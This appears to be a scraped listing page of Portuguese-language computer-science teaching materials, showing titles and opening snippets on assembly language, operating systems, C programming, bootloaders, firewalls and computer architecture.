PROJETO LÓGICO DE COMPUTADORES Prof. Ricardo Rodrigues Barcelar http://www.ricardobarcelar.com.br - Aula 5 - O NÍVEL DA LINGUAGEM DE MONTAGEM 1. INTRODUÇÃO É relativamente fácil compreender os fundamentos da programação de computadores, sob o ponto de vista da inteligibilidade dos comandos de alto

Leia mais

Gerenciador de Boot Simples

Gerenciador de Boot Simples Gerenciador de Boot Simples Este tutorial é uma simples caminhada através de um Gerenciador de Boot Hello World. Este, como qualquer outro gestor, tem que obedecer a algumas regras. Termos utilizados:

Leia mais

NOTAS DE AULA Prof. Antonio Carlos Schneider Beck Filho (UFSM) Prof. Júlio Carlos Balzano de Mattos (UFPel) Arquitetura de Von Neumann

NOTAS DE AULA Prof. Antonio Carlos Schneider Beck Filho (UFSM) Prof. Júlio Carlos Balzano de Mattos (UFPel) Arquitetura de Von Neumann Universidade Federal de Santa Maria NOTAS DE AULA Prof. Antonio Carlos Schneider Beck Filho (UFSM) Prof. Júlio Carlos Balzano de Mattos (UFPel) Arquitetura de Von Neumann O modelo (ou arquitetura) de von

Leia mais

A memória é um recurso fundamental e de extrema importância para a operação de qualquer Sistema Computacional; A memória trata-se de uma grande

A memória é um recurso fundamental e de extrema importância para a operação de qualquer Sistema Computacional; A memória trata-se de uma grande A memória é um recurso fundamental e de extrema importância para a operação de qualquer Sistema Computacional; A memória trata-se de uma grande região de armazenamento formada por bytes ou palavras, cada

Leia mais

Estrutura da linguagem de programação C Prof. Tiago Eugenio de Melo tiago@comunidadesol.org

Estrutura da linguagem de programação C Prof. Tiago Eugenio de Melo tiago@comunidadesol.org Estrutura da linguagem de programação C Prof. Tiago Eugenio de Melo tiago@comunidadesol.org Breve Histórico A linguagem de programação C foi criada na década de 70, por Dennis Ritchie, que a implementou,

Leia mais

Curso de Instalação e Gestão de Redes Informáticas

Curso de Instalação e Gestão de Redes Informáticas ESCOLA PROFISSIONAL VASCONCELLOS LEBRE Curso de Instalação e Gestão de Redes Informáticas PROCESSADORES DE 64 BITS X PROCESSADORES DE 32 BITS José Vitor Nogueira Santos FT2-0749 Mealhada, 2009 Introdução

Leia mais

Arquitetura de Computadores. Tipos de Instruções

Arquitetura de Computadores. Tipos de Instruções Arquitetura de Computadores Tipos de Instruções Tipos de instruções Instruções de movimento de dados Operações diádicas Operações monádicas Instruções de comparação e desvio condicional Instruções de chamada

Leia mais

Sistemas Operacionais

Sistemas Operacionais Sistemas Operacionais Aula 6 Estrutura de Sistemas Operacionais Prof.: Edilberto M. Silva http://www.edilms.eti.br Baseado no material disponibilizado por: SO - Prof. Edilberto Silva Prof. José Juan Espantoso

Leia mais

Introdução a Programação. Ponteiros e Strings, Alocação Dinâmica

Introdução a Programação. Ponteiros e Strings, Alocação Dinâmica Introdução a Programação Ponteiros e Strings, Alocação Dinâmica Tópicos da Aula Hoje aprenderemos a relação entre ponteiros e strings Ponteiros para strings X Vetores de Caracteres Vetores de ponteiros

Leia mais

Um processo sob UNIX ocupa uma área de memória formada basicamente por 3 partes:

Um processo sob UNIX ocupa uma área de memória formada basicamente por 3 partes: Processos O UNIX é um sistema operacional multitarefa (suporta multiprogramação). Isso significa que ele é capaz de gerenciar a execução simultânea de vários programas. O termo processo é usado para caracterizar

Leia mais

Notas da Aula 17 - Fundamentos de Sistemas Operacionais

Notas da Aula 17 - Fundamentos de Sistemas Operacionais Notas da Aula 17 - Fundamentos de Sistemas Operacionais 1. Gerenciamento de Memória: Introdução O gerenciamento de memória é provavelmente a tarefa mais complexa de um sistema operacional multiprogramado.

Leia mais

Linguagem de Montagem 2. Operações e Operandos

Linguagem de Montagem 2. Operações e Operandos Linguagem de Montagem 2 Operações e Operandos Revisão Para executar uma tarefa qualquer, um computador precisa receber instruções precisas sobre o que fazer Esse conjunto de instruções chamamos de algoritmo

Leia mais

UNIVERSIDADE FEDERAL DE PELOTAS

UNIVERSIDADE FEDERAL DE PELOTAS Usando um firewall para ajudar a proteger o computador A conexão à Internet pode representar um perigo para o usuário de computador desatento. Um firewall ajuda a proteger o computador impedindo que usuários

Leia mais

Software Básico. Conceito de Linguagem de Máquina e Montagem: introdução ao Assembly. Prof. MSc. Hugo Vieira L. Souza

Software Básico. Conceito de Linguagem de Máquina e Montagem: introdução ao Assembly. Prof. MSc. Hugo Vieira L. Souza Software Básico Conceito de Linguagem de Máquina e Montagem: introdução ao Assembly Prof. MSc. Hugo Vieira L. Souza Este documento está sujeito a copyright. Todos os direitos estão reservados para o todo

Leia mais

Sistemas Operacionais. Prof. M.Sc. Sérgio Teixeira. Aula 05 Estrutura e arquitetura do SO Parte 1. Cursos de Computação

Sistemas Operacionais. Prof. M.Sc. Sérgio Teixeira. Aula 05 Estrutura e arquitetura do SO Parte 1. Cursos de Computação Cursos de Computação Sistemas Operacionais Prof. M.Sc. Sérgio Teixeira Aula 05 Estrutura e arquitetura do SO Parte 1 Referência: MACHADO, F.B. ; MAIA, L.P. Arquitetura de Sistemas Operacionais. 4.ed. LTC,

Leia mais

Análises Geração RI (representação intermediária) Código Intermediário

Análises Geração RI (representação intermediária) Código Intermediário Front-end Análises Geração RI (representação intermediária) Código Intermediário Back-End Geração de código de máquina Sistema Operacional? Conjunto de Instruções do processador? Ambiente de Execução O

Leia mais

Arquitetura de Computadores. Prof. João Bosco Jr.

Arquitetura de Computadores. Prof. João Bosco Jr. Arquitetura de Computadores Prof. João Bosco Jr. Unidade II Aula 1 Nível ISA Posicionado entre a microarquitetura e o SO Define a arquitetura (Conjunto de Instruções) É a interface entre o Software e o

Leia mais

SO - Conceitos Básicos. Introdução ao Computador 2010/01 Renan Manola

SO - Conceitos Básicos. Introdução ao Computador 2010/01 Renan Manola SO - Conceitos Básicos Introdução ao Computador 2010/01 Renan Manola Definição de SO É uma camada de software que opera entre o hardware e os programas aplicativos voltados ao usuário final. É uma estrutura

Leia mais

Assembly na arquitetura IA-32 com NASM no Linux

Assembly na arquitetura IA-32 com NASM no Linux Assembly na arquitetura IA-32 com NASM no Linux Prof. Dr. Luciano José Senger 1 Introdução A Figura 1 mostra os registradores principais para a arquitetura IA-32. Essa arquitetura trabalha com palavras

Leia mais

Manual de instalação e utilização do software de decriptografia GnuPG (Gnu Pricavy Guard)

Manual de instalação e utilização do software de decriptografia GnuPG (Gnu Pricavy Guard) Manual de instalação e utilização do software de decriptografia GnuPG (Gnu Pricavy Guard) 1. Objetivo Definir os procedimentos básicos visando a modificação da sistemática atualmente utilizada na remessa

Leia mais

Tabela de Símbolos. Análise Semântica A Tabela de Símbolos. Principais Operações. Estrutura da Tabela de Símbolos. Declarações 11/6/2008

Tabela de Símbolos. Análise Semântica A Tabela de Símbolos. Principais Operações. Estrutura da Tabela de Símbolos. Declarações 11/6/2008 Tabela de Símbolos Análise Semântica A Tabela de Símbolos Fabiano Baldo Após a árvore de derivação, a tabela de símbolos é o principal atributo herdado em um compilador. É possível, mas não necessário,

Leia mais

Introdução aos Computadores

Introdução aos Computadores Os Computadores revolucionaram as formas de processamento de Informação pela sua capacidade de tratar grandes quantidades de dados em curto espaço de tempo. Nos anos 60-80 os computadores eram máquinas

Leia mais

Sistemas Operacionais e Introdução à Programação. Programação com linguagem C

Sistemas Operacionais e Introdução à Programação. Programação com linguagem C Sistemas Operacionais e Introdução à Programação Programação com linguagem C 1 Variáveis na linguagem C: tipo char O tipo char representa um caractere ASCII (ocupa só 1 byte) int main(int argc, char **

Leia mais

CAPÍTULO 2 CARACTERÍSTICAS DE E/S E PORTA PARALELA

CAPÍTULO 2 CARACTERÍSTICAS DE E/S E PORTA PARALELA 8 CAPÍTULO 2 CARACTERÍSTICAS DE E/S E PORTA PARALELA A porta paralela, também conhecida por printer port ou Centronics e a porta serial (RS-232) são interfaces bastante comuns que, apesar de estarem praticamente

Leia mais

3 Introdução às chamadas ao sistema

3 Introdução às chamadas ao sistema 3 Introdução às chamadas ao sistema 3.1 Chamadas ao sistema e à BIOS As chamadas ao sistema ou System Calls consistem nos serviços disponibilizados pelo núcleo do sistema operativo. O principio é semelhante

Leia mais

Dadas a base e a altura de um triangulo, determinar sua área.

Dadas a base e a altura de um triangulo, determinar sua área. Disciplina Lógica de Programação Visual Ana Rita Dutra dos Santos Especialista em Novas Tecnologias aplicadas a Educação Mestranda em Informática aplicada a Educação ana.santos@qi.edu.br Conceitos Preliminares

Leia mais

Tipos de Dados, Tipos Abstratos de Dados Estruturas de Dados

Tipos de Dados, Tipos Abstratos de Dados Estruturas de Dados Tipos de Dados, Tipos Abstratos de Dados Estruturas de Dados Tipo de dados, tipo abstrato de dados, estruturas de dados Termos parecidos, mas com significados diferentes Tipo de dado Em linguagens de programação

Leia mais

5 - Vetores e Matrizes Linguagem C CAPÍTULO 5 VETORES E MATRIZES

5 - Vetores e Matrizes Linguagem C CAPÍTULO 5 VETORES E MATRIZES CAPÍTULO 5 5 VETORES E MATRIZES 5.1 Vetores Um vetor armazena uma determinada quantidade de dados de mesmo tipo. Vamos supor o problema de encontrar a média de idade de 4 pessoas. O programa poderia ser:

Leia mais

Algoritmos e Programação Estruturada

Algoritmos e Programação Estruturada Algoritmos e Programação Estruturada Virgínia M. Cardoso Linguagem C Criada por Dennis M. Ritchie e Ken Thompson no Laboratório Bell em 1972. A Linguagem C foi baseada na Linguagem B criada por Thompson.

Leia mais

Firewall. Qual a utilidade em instalar um firewall pessoal?

Firewall. Qual a utilidade em instalar um firewall pessoal? Firewall Significado: Firewall em português é o mesmo que parede cortafogo, um tipo de parede, utilizada principalmente em prédios, que contém o fogo em casos de incêndio. O firewall da informática faz

Leia mais

PROGRAMAÇÃO ESTRUTURADA. CC 2º Período

PROGRAMAÇÃO ESTRUTURADA. CC 2º Período PROGRAMAÇÃO ESTRUTURADA CC 2º Período PROGRAMAÇÃO ESTRUTURADA Aula 06: Ponteiros Declarando e utilizando ponteiros Ponteiros e vetores Inicializando ponteiros Ponteiros para Ponteiros Cuidados a serem

Leia mais

Operador de Computador. Informática Básica

Operador de Computador. Informática Básica Operador de Computador Informática Básica Instalação de Software e Periféricos Podemos ter diversos tipos de software que nos auxiliam no desenvolvimento das nossas tarefas diárias, seja ela em casa, no

Leia mais

MC-102 Aula 01. Instituto de Computação Unicamp

MC-102 Aula 01. Instituto de Computação Unicamp MC-102 Aula 01 Introdução à Programação de Computadores Instituto de Computação Unicamp 2015 Roteiro 1 Por que aprender a programar? 2 Hardware e Software 3 Organização de um ambiente computacional 4 Algoritmos

Leia mais

Universidade Federal de Santa Maria Curso de Arquivologia. Disciplina de Banco de Dados Aplicados à Arquivística. Versao 1.

Universidade Federal de Santa Maria Curso de Arquivologia. Disciplina de Banco de Dados Aplicados à Arquivística. Versao 1. Universidade Federal de Santa Maria Curso de Arquivologia Disciplina de Banco de Dados Aplicados à Arquivística Prof. Andre Zanki Cordenonsi Versao 1.0 Março de 2008 Tópicos Abordados Conceitos sobre Banco

Leia mais

Sistemas Operacionais. Prof. André Y. Kusumoto andrekusumoto.unip@gmail.com

Sistemas Operacionais. Prof. André Y. Kusumoto andrekusumoto.unip@gmail.com Sistemas Operacionais Prof. André Y. Kusumoto andrekusumoto.unip@gmail.com Estruturas de Sistemas Operacionais Um sistema operacional fornece o ambiente no qual os programas são executados. Internamente,

Leia mais

Computadores de Programação (MAB353)

Computadores de Programação (MAB353) Computadores de Programação (MAB353) Aula 7: 29 de abril de 2010 1 2 Subrotinas Um procedimento ou função é uma subrotina armazenada que executa uma tarefa específica baseada nos parâmetros de entrada

Leia mais

Tipos de sistemas operacionais

Tipos de sistemas operacionais Tipos de sistemas operacionais Sistemas Operacionais de Computadores de Grande Porte Sistemas Operacionais para Servidores Sistemas Operacionais de Multiprocessadores Sistemas Operacionais para Computadores

Leia mais

Pilha de execução Volnys Borges Bernal Departamento de Sistemas Eletrônicos (PSI) Escola Politécnica da USP

Pilha de execução Volnys Borges Bernal Departamento de Sistemas Eletrônicos (PSI) Escola Politécnica da USP 2005-2015 Volnys Bernal 1 Pilha de execução Volnys Borges Bernal volnys@lsi.usp.br Departamento de Sistemas Eletrônicos (PSI) Escola Politécnica da USP 2005-2015 Volnys Bernal 2 Agenda Os desafios da execução

Leia mais

Programação Engenharia Informática (11543) 1º ano, 1º semestre Tecnologias e Sistemas de Informação (6619) 1º ano, 1º semestre

Programação Engenharia Informática (11543) 1º ano, 1º semestre Tecnologias e Sistemas de Informação (6619) 1º ano, 1º semestre Programação Engenharia Informática (11543) 1º ano, 1º semestre Tecnologias e Sistemas de Informação (6619) 1º ano, 1º semestre Cap. 01 Fundamentos de Computadores Sumário : Conceitos básicos: computador,

Leia mais

E.E.E.P. Dr. Solon Tavares Sistemas Operacionais Prof. Henrique Cordeiro. Programação Concorrente em Linux

E.E.E.P. Dr. Solon Tavares Sistemas Operacionais Prof. Henrique Cordeiro. Programação Concorrente em Linux E.E.E.P. Dr. Solon Tavares Sistemas Operacionais Prof. Henrique Cordeiro Programação Concorrente em Linux O Conceito de Processo no Linux O conceito de processo é fundamental para qualquer sistema operacional

Leia mais

Conjunto de instruções do CPU. Arquitectura de um computador. Definição das instruções (1) Definição das instruções (2)

Conjunto de instruções do CPU. Arquitectura de um computador. Definição das instruções (1) Definição das instruções (2) Arquitectura de um computador Caracterizada por: Conjunto de instruções do processador (ISA Estrutura interna do processador (que registadores existem, etc Modelo de memória (dimensão endereçável, alcance

Leia mais

SISTEMAS OPERACIONAIS CAPÍTULO 3 CONCORRÊNCIA

SISTEMAS OPERACIONAIS CAPÍTULO 3 CONCORRÊNCIA SISTEMAS OPERACIONAIS CAPÍTULO 3 CONCORRÊNCIA 1. INTRODUÇÃO O conceito de concorrência é o princípio básico para o projeto e a implementação dos sistemas operacionais multiprogramáveis. O sistemas multiprogramáveis

Leia mais

Nível da Arquitetura do Conjunto das Instruções

Nível da Arquitetura do Conjunto das Instruções Nível da Arquitetura do Conjunto das Instruções (Aula 13) Fluxo de Controle Fluxo Seqüencial de Controle e Desvios (1) Fluxo de Controle: É a seqüência na qual instruções são dinamicamente executadas Isto

Leia mais

Software. LMP Wizard. Manual do usuário MAN-PT-DE-LMPWizard-01.01_12

Software. LMP Wizard. Manual do usuário MAN-PT-DE-LMPWizard-01.01_12 Software LMP Wizard LMP Wizard Manual do usuário MAN-PT-DE-LMPWizard-01.01_12 Introdução Obrigado por ter escolhido o software LMP Wizard. Para garantir o uso correto e eficiente, é imprescindível a leitura

Leia mais

1. SINTAXE DA LINGUAGEM ASSEMBLY

1. SINTAXE DA LINGUAGEM ASSEMBLY 1. SINTAXE DA LINGUAGEM ASSEMBLY Antes de se escrever em assembly, é conveniente construir um fluxograma do programa. Um fluxograma não faz referência à linguagem a utilizar, pelo que pode ser utilizado

Leia mais

Introdução a Informática. Prof.: Roberto Franciscatto

Introdução a Informática. Prof.: Roberto Franciscatto Introdução a Informática Prof.: Roberto Franciscatto 2.1 CONCEITO DE BIT O computador só pode identificar a informação através de sua elementar e restrita capacidade de distinguir entre dois estados: 0

Leia mais

Visão Geral de Sistemas Operacionais

Visão Geral de Sistemas Operacionais Visão Geral de Sistemas Operacionais Sumário Um sistema operacional é um intermediário entre usuários e o hardware do computador. Desta forma, o usuário pode executar programas de forma conveniente e eficiente.

Leia mais

Nota de Aula: Utilização da IDE Code::Blocks

Nota de Aula: Utilização da IDE Code::Blocks INSTITUTO FEDERAL DE EDUCAÇÃO, CIÊNCIA E TECNOLOGIA DO MARANHÃO CAMPUS SÃO LUÍS MONTE CASTELO DEPARTAMENTO ACADÊMICO DE INFORMÁTICA SISTEMAS DE INFORMAÇÃO DISCIPLINA: LINGUAGEM DE PROGRAMAÇÃO I PROFESSOR:

Leia mais

28/3/2011. Família Intel 80x86. Arquitetura dos Processadores Intel 80x86

28/3/2011. Família Intel 80x86. Arquitetura dos Processadores Intel 80x86 Arquitetura de Computadores Arquitetura dos Processadores Intel 80x86 Prof. Marcos Quinet Universidade Federal Fluminense UFF Pólo Universitário de Rio das Ostras - PURO Família Intel 80x86 Ao se falar

Leia mais

Projeto 1 - Bootloader

Projeto 1 - Bootloader Projeto 1 - Bootloader IF677 - Infra-Estrutura de Software Centro de Informática - UFPE Autor: Thyago Porpino (tnp) Objetivos Desmistificar o processo de inicialização de um computador. Entender como um

Leia mais

Estrutura de Dados. Introdução a Ponteiros. Prof. Gerson Borges Estrutura de Dados I 1

Estrutura de Dados. Introdução a Ponteiros. Prof. Gerson Borges Estrutura de Dados I 1 Estrutura de Dados Introdução a Ponteiros Prof. Gerson Borges Estrutura de Dados I 1 Sumário è Explicação da importância do planejamento de ensino; è Métodos e técnicas que iremos trabalhar durante o semestre;

Leia mais

4 Estrutura do Sistema Operacional. 4.1 - Kernel

4 Estrutura do Sistema Operacional. 4.1 - Kernel 1 4 Estrutura do Sistema Operacional 4.1 - Kernel O kernel é o núcleo do sistema operacional, sendo responsável direto por controlar tudo ao seu redor. Desde os dispositivos usuais, como unidades de disco,

Leia mais

REPRESENTAÇÃO DE DADOS EM SISTEMAS DE COMPUTAÇÃO AULA 03 Arquitetura de Computadores Gil Eduardo de Andrade

REPRESENTAÇÃO DE DADOS EM SISTEMAS DE COMPUTAÇÃO AULA 03 Arquitetura de Computadores Gil Eduardo de Andrade REPRESENTAÇÃO DE DADOS EM SISTEMAS DE COMPUTAÇÃO AULA 03 Arquitetura de Computadores Gil Eduardo de Andrade O conteúdo deste documento é baseado no livro Princípios Básicos de Arquitetura e Organização

Leia mais

Computação II Orientação a Objetos

Computação II Orientação a Objetos Computação II Orientação a Objetos Fabio Mascarenhas - 2014.1 http://www.dcc.ufrj.br/~fabiom/java Introdução Esse não é um curso de Java! O objetivo é aprender os conceitos da programação orientada a objetos,

Leia mais

Ambiente de desenvolvimento de Programação Assembly MCU 8051 IDE

Ambiente de desenvolvimento de Programação Assembly MCU 8051 IDE SEL-433 APLICAÇÕES DE MICROPROCESSADORES I Prof. Evandro L. L. Rodrigues Ambiente de desenvolvimento de Programação Assembly MCU 8051 IDE http://mcu8051ide.sourceforge.net/ Tela inicial Criar novo projeto:

Leia mais

Sistema de Arquivos FAT

Sistema de Arquivos FAT Sistemas Operacionais Sistema de Arquivos FAT Edeyson Andrade Gomes www.edeyson.com.br FAT A FAT é o sistema de arquivos usado pelo MS-DOS e outros sistemas operacionais baseados em Windows para organizar

Leia mais

Programando em Assembly

Programando em Assembly Programando em Assembly precisa-se saber exatamente como interpretar & gerenciar a memória e como usar instruções de baixo nível para o processamento Não existem tipos e variáveis (apenas bytes na memória)

Leia mais

SEGURANÇA DO WINDOWS Análise sobre as APIs. Por: Fergo

SEGURANÇA DO WINDOWS Análise sobre as APIs. Por: Fergo SEGURANÇA DO WINDOWS Análise sobre as APIs Por: Fergo INTRODUÇÃO Você já se perguntou alguma vez sobre o porquê do Windows suscetível à falhas e a execução de códigos mal intencionados? Neste artigo eu

Leia mais

O hardware é a parte física do computador, como o processador, memória, placamãe, entre outras. Figura 2.1 Sistema Computacional Hardware

O hardware é a parte física do computador, como o processador, memória, placamãe, entre outras. Figura 2.1 Sistema Computacional Hardware 1 2 Revisão de Hardware 2.1 Hardware O hardware é a parte física do computador, como o processador, memória, placamãe, entre outras. Figura 2.1 Sistema Computacional Hardware 2.1.1 Processador O Processador

Leia mais

ARQUITECTURA DE COMPUTADORES CAPÍTULO II AULA X

ARQUITECTURA DE COMPUTADORES CAPÍTULO II AULA X ARQUITECTURA DE COMPUTADORES CAPÍTULO II AULA X Índice Traduzindo e iniciando uma aplicação Compiladores Assembladores Linkers Loaders DLLs Iniciando um programa em Java Após toda a matéria abordada nesta

Leia mais

Curso Técnico em Redes

Curso Técnico em Redes Curso Técnico em Redes Prof. Airton Ribeiro - 2012 Histórico das Linguagens de Programação O que é? É um método padronizado para expressar instruções para um computador. É um conjunto de regras sintáticas

Leia mais

BARRAMENTO DO SISTEMA

BARRAMENTO DO SISTEMA BARRAMENTO DO SISTEMA Memória Principal Processador Barramento local Memória cachê/ ponte Barramento de sistema SCSI FireWire Dispositivo gráfico Controlador de vídeo Rede Local Barramento de alta velocidade

Leia mais

Básico, Ferramentas e o Primeiro Programa em Qt

Básico, Ferramentas e o Primeiro Programa em Qt Conteúdo 1 Básico, Ferramentas e o Primeiro Programa em Qt 3 1.1 Primeiro Programa.......................... 3 1.1.1 Compilando o programa................... 4 1.2 Layouts................................

Leia mais